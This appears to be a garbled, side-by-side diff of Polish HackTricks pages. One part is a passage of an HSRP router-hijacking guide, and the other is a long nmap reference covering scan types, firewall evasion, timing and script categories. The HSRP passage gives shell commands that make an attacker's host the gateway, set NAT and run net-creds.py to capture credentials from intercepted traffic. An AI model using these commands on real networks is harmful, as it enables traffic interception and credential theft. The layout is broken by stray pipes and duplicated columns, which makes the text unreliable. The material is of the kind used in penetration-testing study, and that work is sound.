4. Po przejęciu roli Aktywnego Routera skonfiguruj interfejs sieciowy i tabele IP, aby przechwycić legalny ruch.
|
4. Po przejęciu roli Aktywnego Routera skonfiguruj interfejs sieciowy i tabele IP, aby przechwycić prawidłowy ruch.
|
||||||
```shell
|
```shell
|
||||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||||
|
@ -129,26 +129,4 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||||
sudo python2 net-creds.py -i eth0
|
sudo python2 net-creds.py -i eth0
|
||||||
```
|
```
|
||||||
|
|
||||||
Wykonanie tych kroków umieszcza atakującego w pozycji do przechwytywania i manipulowania ruchem, podobnie jak w przypadku przejęcia GLBP. Podkreśla to podatność protokołów redundancji, takich jak HSRP, oraz konieczność stosowania solidnych środków bezpieczeństwa.
|
Wykonanie tych kroków umieszcza atakującego w pozycji do przechwytywania i manipulowania ruchem, podobnie jak w przypadku przejęcia GLBP. Podkreśla to podatność protokołów redundancji, takich jak HSRP, oraz potrzebę solidnych środków bezpieczeństwa.
|
||||||
|
|
||||||
|
|
||||||
## Referencje
|
|
||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
```
|
```
|
||||||
|
@ -24,24 +24,24 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||||
|
|
||||||
### Adresy IP do skanowania
|
### Adresy IP do skanowania
|
||||||
|
|
||||||
* **`<ip>,<net/mask>`:** Wskazuje bezpośrednio adresy IP.
|
* **`<ip>,<net/mask>`:** Wskazuje bezpośrednio adresy IP
|
||||||
* **`-iL <ips_file>`:** list\_IPs
|
* **`-iL <ips_file>`:** list\_IPs
|
||||||
* **`-iR <number>`**: Liczba losowych adresów IP, można wykluczyć możliwe adresy IP za pomocą `--exclude <Ips>` lub `--excludefile <file>`.
|
* **`-iR <number>`**: Liczba losowych adresów IP, można wykluczyć możliwe adresy IP za pomocą `--exclude <Ips>` lub `--excludefile <file>`.
|
||||||
|
|
||||||
### Odkrywanie urządzeń
|
### Odkrywanie sprzętu
|
||||||
|
|
||||||
Domyślnie Nmap uruchamia fazę odkrywania składającą się z: `-PA80 -PS443 -PE -PP`
|
Domyślnie Nmap uruchamia fazę odkrywania składającą się z: `-PA80 -PS443 -PE -PP`
|
||||||
|
|
||||||
* **`-sL`**: Nieinwazyjne, wyświetla cele, wysyłając żądania **DNS** w celu rozwiązania nazw. Jest przydatne, aby dowiedzieć się, czy na przykład www.prueba.es/24 wszystkie adresy IP są naszymi celami.
|
* **`-sL`**: Nieinwazyjne, wyświetla cele, wysyłając żądania **DNS** w celu rozwiązania nazw. Jest przydatne, aby dowiedzieć się, czy na przykład www.prueba.es/24 wszystkie adresy IP są naszymi celami.
|
||||||
* **`-Pn`**: **Brak pinga**. Jest to przydatne, jeśli wiesz, że wszystkie są aktywne (w przeciwnym razie możesz stracić dużo czasu, ale ta opcja również generuje fałszywe negatywy mówiąc, że nie są aktywne), zapobiega fazie odkrywania.
|
* **`-Pn`**: **Brak pinga**. Jest to przydatne, jeśli wiesz, że wszystkie z nich są aktywne (jeśli nie, możesz stracić dużo czasu, ale ta opcja również generuje fałszywe negatywy mówiąc, że nie są aktywne), zapobiega fazie odkrywania.
|
||||||
* **`-sn`** : **Brak skanowania portów**. Po zakończeniu fazy rozpoznawczej nie skanuje portów. Jest stosunkowo dyskretny i pozwala na mały skan sieci. Z uprawnieniami wysyła ACK (-PA) do 80, SYN(-PS) do 443 oraz żądanie echo i żądanie znacznika czasu, bez uprawnień zawsze kończy połączenia. Jeśli celem jest sieć, używa tylko ARP(-PR). Jeśli jest używany z inną opcją, odrzucane są tylko pakiety z innej opcji.
|
* **`-sn`** : **Brak skanowania portów**. Po zakończeniu fazy rozpoznawczej nie skanuje portów. Jest stosunkowo dyskretny i pozwala na mały skan sieci. Z uprawnieniami wysyła ACK (-PA) do 80, SYN(-PS) do 443 oraz żądanie echo i żądanie znacznika czasu, bez uprawnień zawsze kończy połączenia. Jeśli celem jest sieć, używa tylko ARP(-PR). Jeśli jest używany z inną opcją, odrzucane są tylko pakiety z innej opcji.
|
||||||
* **`-PR`**: **Ping ARP**. Jest używany domyślnie podczas analizy komputerów w naszej sieci, jest szybszy niż użycie pingów. Jeśli nie chcesz używać pakietów ARP, użyj `--send-ip`.
|
* **`-PR`**: **Ping ARP**. Jest używany domyślnie podczas analizy komputerów w naszej sieci, jest szybszy niż użycie pingów. Jeśli nie chcesz używać pakietów ARP, użyj `--send-ip`.
|
||||||
* **`-PS <ports>`**: Wysyła pakiety SYN, na które jeśli odpowiada SYN/ACK, jest otwarty (jeśli odpowiada RST, aby nie zakończyć połączenia), jeśli odpowiada RST, jest zamknięty, a jeśli nie odpowiada, jest nieosiągalny. W przypadku braku uprawnień automatycznie używane jest pełne połączenie. Jeśli nie podano portów, wysyła je do 80.
|
* **`-PS <ports>`**: Wysyła pakiety SYN, na które jeśli odpowiada SYN/ACK, jest otwarty (jeśli odpowiada RST, aby nie zakończyć połączenia), jeśli odpowiada RST, jest zamknięty, a jeśli nie odpowiada, jest nieosiągalny. W przypadku braku uprawnień automatycznie używane jest pełne połączenie. Jeśli nie podano portów, wysyła je do 80.
|
||||||
* **`-PA <ports>`**: Jak poprzedni, ale z ACK, łącząc oba daje lepsze wyniki.
|
* **`-PA <ports>`**: Jak poprzednia opcja, ale z ACK, łącząc obie daje lepsze wyniki.
|
||||||
* **`-PU <ports>`**: Celem jest przeciwny, są wysyłane do portów, które powinny być zamknięte. Niektóre firewalle sprawdzają tylko połączenia TCP. Jeśli jest zamknięty, odpowiada portem nieosiągalnym, jeśli odpowiada innym icmp lub nie odpowiada, jest pozostawiony jako nieosiągalny.
|
* **`-PU <ports>`**: Celem jest przeciwny, są wysyłane do portów, które spodziewają się być zamknięte. Niektóre zapory sieciowe sprawdzają tylko połączenia TCP. Jeśli jest zamknięty, odpowiada portem nieosiągalnym, jeśli odpowiada innym icmp lub nie odpowiada, pozostaje jako nieosiągalny cel.
|
||||||
* **`-PE, -PP, -PM`** : PINGI ICMP: odpowiedź echo, znacznik czasu i maska adresu. Są wysyłane, aby dowiedzieć się, czy cel jest aktywny.
|
* **`-PE, -PP, -PM`** : PINGI ICMP: odpowiedź echo, znacznik czasu i maska adresu. Są one wysyłane, aby dowiedzieć się, czy cel jest aktywny.
|
||||||
* **`-PY<ports>`**: Wysyła sondy SCTP INIT do 80 domyślnie, INIT-ACK(otwarty) lub ABORT(zamknięty) lub nic albo ICMP nieosiągalny(nieaktywny) mogą być odpowiedziane.
|
* **`-PY<ports>`**: Wysyła sondy SCTP INIT do 80 domyślnie, INIT-ACK(otwarte) lub ABORT(zamknięte) lub nic albo ICMP nieosiągalny(nieaktywny) mogą być odpowiedziane.
|
||||||
* **`-PO <protocols>`**: W nagłówkach wskazany jest protokół, domyślnie 1(ICMP), 2(IGMP) i 4(Encap IP). Dla protokołów ICMP, IGMP, TCP (6) i UDP (17) wysyłane są nagłówki protokołów, dla reszty wysyłany jest tylko nagłówek IP. Celem tego jest to, że z powodu zniekształcenia nagłówków, odpowiedzi na niedostępny protokół lub odpowiedzi tego samego protokołu są wysyłane, aby dowiedzieć się, czy jest aktywny.
|
* **`-PO <protocols>`**: W nagłówkach wskazany jest protokół, domyślnie 1(ICMP), 2(IGMP) i 4(Encap IP). Dla protokołów ICMP, IGMP, TCP (6) i UDP (17) wysyłane są nagłówki protokołów, dla reszty wysyłany jest tylko nagłówek IP. Celem tego jest to, że z powodu zniekształcenia nagłówków, odpowiedzi na nieosiągalny protokół lub odpowiedzi tego samego protokołu są wysyłane, aby dowiedzieć się, czy jest aktywny.
|
||||||
* **`-n`**: Brak DNS
|
* **`-n`**: Brak DNS
|
||||||
* **`-R`**: Zawsze DNS
|
* **`-R`**: Zawsze DNS
|
||||||
|
|
||||||
|
@ -49,29 +49,29 @@ Domyślnie Nmap uruchamia fazę odkrywania składającą się z: `-PA80 -PS443 -
|
||||||
|
|
||||||
* **`-sS`**: Nie kończy połączenia, więc nie pozostawia śladu, bardzo dobre, jeśli można go użyć (uprawnienia). Jest używany domyślnie.
|
* **`-sS`**: Nie kończy połączenia, więc nie pozostawia śladu, bardzo dobre, jeśli można go użyć (uprawnienia). Jest używany domyślnie.
|
||||||
* **`-sT`**: Kończy połączenie, więc pozostawia ślad, ale można go użyć z pewnością. Domyślnie bez uprawnień.
|
* **`-sT`**: Kończy połączenie, więc pozostawia ślad, ale można go użyć z pewnością. Domyślnie bez uprawnień.
|
||||||
* **`-sU`**: Wolniejszy, dla UDP. Głównie: DNS(53), SNMP(161,162), DHCP(67 i 68), (-sU53,161,162,67,68): otwarty(odpowiedź), zamknięty(port nieosiągalny), odfiltrowany (inny ICMP), otwarty/odfiltrowany (nic). W przypadku otwarto/odfiltrowany, -sV wysyła liczne żądania, aby wykryć któreś z wersji obsługiwanych przez nmap i może wykryć prawdziwy stan. Znacznie zwiększa czas.
|
* **`-sU`**: Wolniejsze, dla UDP. Głównie: DNS(53), SNMP(161,162), DHCP(67 i 68), (-sU53,161,162,67,68): otwarte(odpowiedź), zamknięte(port nieosiągalny), filtrowane (inny ICMP), otwarte/filtrowane (nic). W przypadku otwarto/filtrowane, -sV wysyła liczne żądania, aby wykryć jedną z wersji obsługiwanych przez nmap i może wykryć prawdziwy stan. Znacznie zwiększa czas.
|
||||||
* **`-sY`**: Protokół SCTP nie udaje się nawiązać połączenia, więc nie ma logów, działa jak -PY
|
* **`-sY`**: Protokół SCTP nie udaje się nawiązać połączenia, więc nie ma logów, działa jak -PY
|
||||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, mogą przenikać przez niektóre firewalle i wydobywać informacje. Oparte są na fakcie, że zgodne z normą maszyny powinny odpowiadać RST na wszystkie żądania, które nie mają podniesionych flag SYN, RST lub ACK: otwarty/odfiltrowany(nic), zamknięty(RST), odfiltrowany (ICMP nieosiągalny). Niepewne w przypadku systemów Windows, CIsco, BSDI i OS/400. W systemach Unix tak.
|
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, mogą przenikać przez niektóre zapory sieciowe i wydobywać informacje. Opierają się na tym, że zgodne z normą maszyny powinny odpowiadać RST na wszystkie żądania, które nie mają podniesionych flag SYN, RST lub ACK: otwarte/filtrowane(nic), zamknięte(RST), filtrowane (ICMP nieosiągalny). Niepewne w przypadku systemów Windows, CIsco, BSDI i OS/400. W systemach Unix tak.
|
||||||
* **`-sM`**: Skan Maimon: Wysyła flagi FIN i ACK, używane dla BSD, obecnie zwróci wszystko jako zamknięte.
|
* **`-sM`**: Skan Maimon: Wysyła flagi FIN i ACK, używane dla BSD, obecnie zwróci wszystko jako zamknięte.
|
||||||
* **`-sA, sW`**: ACK i Window, służy do wykrywania firewalle, aby dowiedzieć się, czy porty są odfiltrowane czy nie. -sW rozróżnia między otwartymi/zamkniętymi, ponieważ otwarte odpowiadają inną wartością okna: otwarty (RST z oknem innym niż 0), zamknięty (RST z oknem = 0), odfiltrowany (ICMP nieosiągalny lub nic). Nie wszystkie komputery działają w ten sposób, więc jeśli wszystkie są zamknięte, to nie działa, jeśli kilka jest otwartych, to działa dobrze, a jeśli jest wiele otwartych i niewiele zamkniętych, to działa odwrotnie.
|
* **`-sA, sW`**: ACK i Window, służy do wykrywania zapór sieciowych, aby dowiedzieć się, czy porty są filtrowane czy nie. -sW rozróżnia między otwartymi/zamkniętymi, ponieważ otwarte odpowiadają inną wartością okna: otwarte (RST z oknem innym niż 0), zamknięte (RST z oknem = 0), filtrowane (ICMP nieosiągalny lub nic). Nie wszystkie komputery działają w ten sposób, więc jeśli wszystko jest zamknięte, to nie działa, jeśli kilka jest otwartych, to działa dobrze, a jeśli jest wiele otwartych i kilka zamkniętych, to działa odwrotnie.
|
||||||
* **`-sI`:** Skan bezczynności. W przypadkach, gdy istnieje aktywny firewall, ale wiemy, że nie filtrowuje do określonego adresu IP (lub gdy po prostu chcemy zachować anonimowość), możemy użyć skanera zombie (działa dla wszystkich portów), aby znaleźć możliwe zombi, możemy użyć skryptu ipidseq lub eksploatacji pomocniczej/skaner/ip/ipidseq. Ten skaner opiera się na numerze IPID pakietów IP.
|
* **`-sI`:** Skan bezczynności. W przypadkach, gdy istnieje aktywna zapora sieciowa, ale wiemy, że nie filtrowuje do określonego adresu IP (lub gdy po prostu chcemy zachować anonimowość), możemy użyć skanera zombie (działa dla wszystkich portów), aby znaleźć możliwe zombi, możemy użyć skryptu ipidseq lub eksploatacji pomocniczej/skanera/ip/ipidseq. Ten skaner opiera się na numerze IPID pakietów IP.
|
||||||
* **`--badsum`:** Wysyła błędne sumy, komputery odrzuciłyby pakiety, ale firewalle mogą odpowiedzieć czymś, służy do wykrywania firewalle.
|
* **`--badsum`:** Wysyła błędne sumy, komputery odrzuciłyby pakiety, ale zapory sieciowe mogą odpowiedzieć czymś, służy do wykrywania zapór sieciowych.
|
||||||
* **`-sZ`:** "Dziwny" skaner SCTP, podczas wysyłania sond z fragmentami echo cookie powinny być odrzucane, jeśli są otwarte lub odpowiedziane ABORT, jeśli są zamknięte. Może przechodzić przez firewalle, przez które nie przechodzi init, złe jest to, że nie rozróżnia między odfiltrowanymi i otwartymi.
|
* **`-sZ`:** "Dziwny" skaner SCTP, podczas wysyłania sond z fragmentami echo cookie powinny być odrzucane, jeśli są otwarte lub odpowiedziane ABORT, jeśli są zamknięte. Może przechodzić przez zapory sieciowe, przez które nie przechodzi inicjacja, złe jest to, że nie rozróżnia między filtrowanymi i otwartymi.
|
||||||
* **`-sO`:** Skan protokołu Ip. Wysyła złe i puste nagłówki, w których czasami nawet protokół nie może być odróżniony. Jeśli dotrze nieosiągalny protokół ICMP, jest zamknięty, jeśli dotrze nieosiągalny port, jest otwarty, jeśli dotrze inny błąd, jest odfiltrowany, jeśli nic nie dotrze, jest otwarty|odfiltrowany.
|
* **`-sO`:** Skan protokołu Ip. Wysyła złe i puste nagłówki, w których czasami nawet protokół nie może być odróżniony. Jeśli dotrze nieosiągalny protokół ICMP, jest zamknięty, jeśli dotrze nieosiągalny port, jest otwarty, jeśli dotrze inny błąd, jest filtrowany, jeśli nic nie dotrze, jest otwarty|filtrowany.
|
||||||
* **`-b <server>`:** FTPhost--> Służy do skanowania hosta z innego, jest to robione poprzez połączenie z ftp innego komputera i proszenie go o wysłanie plików do portów, które chcesz zeskanować z innego komputera, na podstawie odpowiedzi dowiemy się, czy są otwarte czy nie. \[\<user>:\<password>@]\<server>\[:\<port>] Prawie wszystkie serwery ftp już nie pozwalają na to, dlatego jest to mało praktyczne.
|
* **`-b <server>`:** FTPhost--> Służy do skanowania hosta z innego, jest to robione poprzez połączenie z ftp innego komputera i proszenie go o wysłanie plików do portów, które chcesz zeskanować z innego komputera, na podstawie odpowiedzi dowiemy się, czy są otwarte czy nie. \[\<user>:\<password>@]\<server>\[:\<port>] Prawie wszystkie serwery ftp już nie pozwalają na to, dlatego jest to mało praktyczne.
|
||||||
|
|
||||||
### **Centrowanie analizy**
|
### **Centrowanie analizy**
|
||||||
|
|
||||||
**-p:** Służy do określenia skanowanych portów. Aby wybrać 65335: **-p-** lub **-p all**. Nmap ma wewnętrzną klasyfikację według popularności. Domyślnie używa 1000 głównych portów. Z **-F** (szybkie skanowanie) analizuje 100 głównych portów. Z **--top-ports \<numero>** Analizuje tę liczbę głównych portów (od 1 do 65335). Sprawdza porty w losowej kolejności, aby tego uniknąć **-r**. Możemy również wybrać porty: 20-30,80,443,1024- To ostatnie oznacza, że sprawdza od 1024 w górę. Możemy również grupować porty według protokołów: U:53,T:21-25,80,139,S:9. Możemy również wybrać zakres wśród popularnych portów nmap: -p \[-1024] analizuje do 1024 z tych zawartych w nmap-services. **--port-ratio \<ratio>** Analizuje najczęściej używane porty z określonym współczynnikiem, który powinien być między 0 a 1.
|
**-p:** Służy do określenia skanowanych portów. Aby wybrać 65335: **-p-** lub **-p all**. Nmap ma wewnętrzną klasyfikację według popularności. Domyślnie używa 1000 głównych portów. Z **-F** (szybkie skanowanie) analizuje 100 głównych portów. Z **--top-ports \<numero>** Analizuje tę liczbę głównych portów (od 1 do 65335). Sprawdza porty w losowej kolejności, aby tego uniknąć **-r**. Możemy również wybrać porty: 20-30,80,443,1024- To ostatnie oznacza, że patrzy w przód od 1024. Możemy również grupować porty według protokołów: U:53,T:21-25,80,139,S:9. Możemy również wybrać zakres wśród popularnych portów nmap: -p \[-1024] analizuje do 1024 z tych zawartych w nmap-services. **--port-ratio \<ratio>** Analizuje najczęściej używane porty z określonym współczynnikiem, który powinien być między 0 a 1
|
||||||
|
|
||||||
**-sV** Skanowanie wersji, intensywność można regulować od 0 do 9, domyślnie 7.
|
**-sV** Skanowanie wersji, można regulować intensywność od 0 do 9, domyślnie 7.
|
||||||
|
|
||||||
**--version-intensity \<numero>** Reguluje intensywność, im niższa, tym tylko najbardziej prawdopodobne sondy zostaną wysłane, ale nie wszystkie. Dzięki temu możemy znacznie skrócić czas skanowania UDP.
|
**--version-intensity \<numero>** Reguluje intensywność, im niższa, tym tylko najbardziej prawdopodobne sondy są wysyłane, ale nie wszystkie. Dzięki temu możemy znacznie skrócić czas skanowania UDP
|
||||||
|
|
||||||
**-O** Wykrywanie systemu operacyjnego
|
**-O** Wykrywanie systemu operacyjnego
|
||||||
|
|
||||||
**--osscan-limit** Aby dobrze zeskanować hosta, potrzebny jest co najmniej jeden otwarty i jeden zamknięty port, jeśli ta zasada nie jest spełniona i użyliśmy tego, nie próbuje przewidywać systemu operacyjnego (oszczędza czas)
|
**--osscan-limit** Aby dobrze zeskanować hosta, potrzebne jest, aby co najmniej jeden port był otwarty, a drugi zamknięty, jeśli ta zasada nie jest spełniona i użyliśmy tego, nie próbuje przewidywać systemu operacyjnego (oszczędza czas)
|
||||||
**--osscan-guess** Gdy wykrycie systemu operacyjnego nie jest idealne, ta opcja zmusza do większego wysiłku.
|
**--osscan-guess** Gdy wykrycie systemu operacyjnego nie jest idealne, to sprawia, że nmap się bardziej stara
|
||||||
|
|
||||||
**Skrypty**
|
**Skrypty**
|
||||||
|
|
||||||
|
@ -81,15 +81,15 @@ Domyślnie można użyć -sC lub --script=default
|
||||||
|
|
||||||
Dostępne kategorie to: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version i vuln
|
Dostępne kategorie to: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version i vuln
|
||||||
|
|
||||||
* **Auth:** uruchamia wszystkie dostępne skrypty autoryzacyjne
|
* **Auth:** wykonuje wszystkie dostępne skrypty autoryzacyjne
|
||||||
* **Default:** uruchamia podstawowe skrypty domyślne narzędzia
|
* **Default:** wykonuje podstawowe skrypty domyślne narzędzia
|
||||||
* **Discovery:** pozyskuje informacje o celu
|
* **Discovery:** pozyskuje informacje o celu
|
||||||
* **External:** skrypt do korzystania z zewnętrznych zasobów
|
* **External:** skrypt do korzystania z zewnętrznych zasobów
|
||||||
* **Intrusive:** używa skryptów uznawanych za inwazyjne dla celu
|
* **Intrusive:** używa skryptów uznawanych za inwazyjne dla celu
|
||||||
* **Malware:** sprawdza, czy istnieją otwarte połączenia złośliwych kodów lub tylnych drzwi (backdoors)
|
* **Malware:** sprawdza, czy istnieją otwarte połączenia złośliwych kodów lub tylnych drzwi (backdoors)
|
||||||
* **Safe:** uruchamia skrypty, które nie są inwazyjne
|
* **Safe:** wykonuje skrypty, które nie są inwazyjne
|
||||||
* **Vuln:** odkrywa najbardziej znane podatności
|
* **Vuln:** odkrywa najbardziej znane podatności
|
||||||
* **All:** uruchamia wszystkie dostępne skrypty NSE
|
* **All:** wykonuje wszystkie dostępne skrypty NSE
|
||||||
|
|
||||||
Aby wyszukać skrypty:
|
Aby wyszukać skrypty:
|
||||||
|
|
||||||
|
@ -109,29 +109,29 @@ Aby wyszukać skrypty:
|
||||||
|
|
||||||
\--script-help _\<nazwapliku>_|_\<kategoria>_|_\<katalog>_|_\<wyrażenie>_|all\[,...]
|
\--script-help _\<nazwapliku>_|_\<kategoria>_|_\<katalog>_|_\<wyrażenie>_|all\[,...]
|
||||||
|
|
||||||
\--script-trace ---> Udostępnia informacje o działaniu skryptu
|
\--script-trace ---> Udziela informacji o działaniu skryptu
|
||||||
|
|
||||||
\--script-updatedb
|
\--script-updatedb
|
||||||
|
|
||||||
**Aby użyć skryptu, wystarczy wpisać: nmap --script Nazwa\_skryptu cel** --> Po wpisaniu skryptu zostanie uruchomiony zarówno skrypt, jak i skaner, więc można również dodawać opcje skanera, można dodać **“safe=1”** aby uruchomić tylko te, które są bezpieczne.
|
**Aby użyć skryptu, wystarczy wpisać: nmap --script Nazwa\_skryptu cel** --> Po wpisaniu skryptu zostanie wykonany zarówno skrypt, jak i skaner, więc można również dodawać opcje skanera, można dodać **"safe=1"** aby wykonać tylko te, które są bezpieczne.
|
||||||
|
|
||||||
**Kontrola czasu**
|
**Kontrola czasu**
|
||||||
|
|
||||||
**Nmap może zmieniać czas w sekundach, minutach, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
|
**Nmap może zmieniać czas w sekundach, minutach, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
|
||||||
|
|
||||||
Nmap dzieli łączną liczbę hostów do zeskanowania na grupy i analizuje te grupy blokami, tak że dopóki wszystkie nie zostaną zanalizowane, nie przechodzi do następnego bloku (i użytkownik nie otrzymuje aktualizacji, dopóki blok nie zostanie zanalizowany). Dlatego dla nmapa bardziej optymalne jest używanie dużych grup. Domyślnie w klasie C używa 256.
|
Nmap dzieli łączną liczbę hostów do zeskanowania na grupy i analizuje te grupy blokami, dopóki nie zostaną zeskanowane wszystkie, nie przechodzi do następnego bloku (i użytkownik nie otrzymuje aktualizacji, dopóki blok nie zostanie zeskanowany). Dlatego dla nmapa bardziej optymalne jest używanie dużych grup. Domyślnie w klasie C używa 256.
|
||||||
|
|
||||||
Można to zmienić za pomocą\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Dostosuj rozmiary grup skanowania równoległego)
|
Można zmienić za pomocą\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Dostosuj rozmiary grup skanowania równoległego)
|
||||||
|
|
||||||
Można kontrolować liczbę skanerów równoległych, ale lepiej tego nie robić (nmap ma już wbudowany automatyczny kontroler na podstawie stanu sieci): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
Można kontrolować liczbę skanerów równoległych, ale lepiej tego nie robić (nmap ma już wbudowaną kontrolę automatyczną na podstawie stanu sieci): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||||
|
|
||||||
Można zmienić czas oczekiwania na rtt, ale zazwyczaj nie jest to konieczne: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
Można zmienić limit czasu rtt, ale zazwyczaj nie jest to konieczne: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||||
|
|
||||||
Można zmienić liczbę prób:**--max-retries** _**\<numtries>**_
|
Można zmienić liczbę prób:**--max-retries** _**\<numtries>**_
|
||||||
|
|
||||||
Można zmienić czas skanowania hosta: **--host-timeout** _**\<time>**_
|
Można zmienić czas skanowania hosta: **--host-timeout** _**\<time>**_
|
||||||
|
|
||||||
Można zmienić czas między każdym testem, aby działać wolniej: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
Można zmienić czas między każdym skanowaniem, aby działać wolniej: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||||
|
|
||||||
Można zmienić liczbę pakietów na sekundę: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
Można zmienić liczbę pakietów na sekundę: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||||
|
|
||||||
|
@ -143,9 +143,9 @@ Aby określić, jak agresywne ma być nmap: -T paranoid|sneaky|polite|normal|agg
|
||||||
|
|
||||||
\-T0 --> Skanuje tylko 1 port na raz i czeka 5 minut przed kolejnym
|
\-T0 --> Skanuje tylko 1 port na raz i czeka 5 minut przed kolejnym
|
||||||
|
|
||||||
\-T1 i T2 --> Bardzo podobne, ale czekają tylko 15 i 0,4 sekundy między każdym testem
|
\-T1 i T2 --> Bardzo podobne, ale czekają tylko 15 i 0,4 sekundy między każdym skanowaniem
|
||||||
|
|
||||||
\-T3 --> Działanie domyślne, obejmuje równoległe działanie
|
\-T3 --> Działanie domyślne, obejmuje równoległe skanowanie
|
||||||
|
|
||||||
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
|
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
|
||||||
|
|
||||||
|
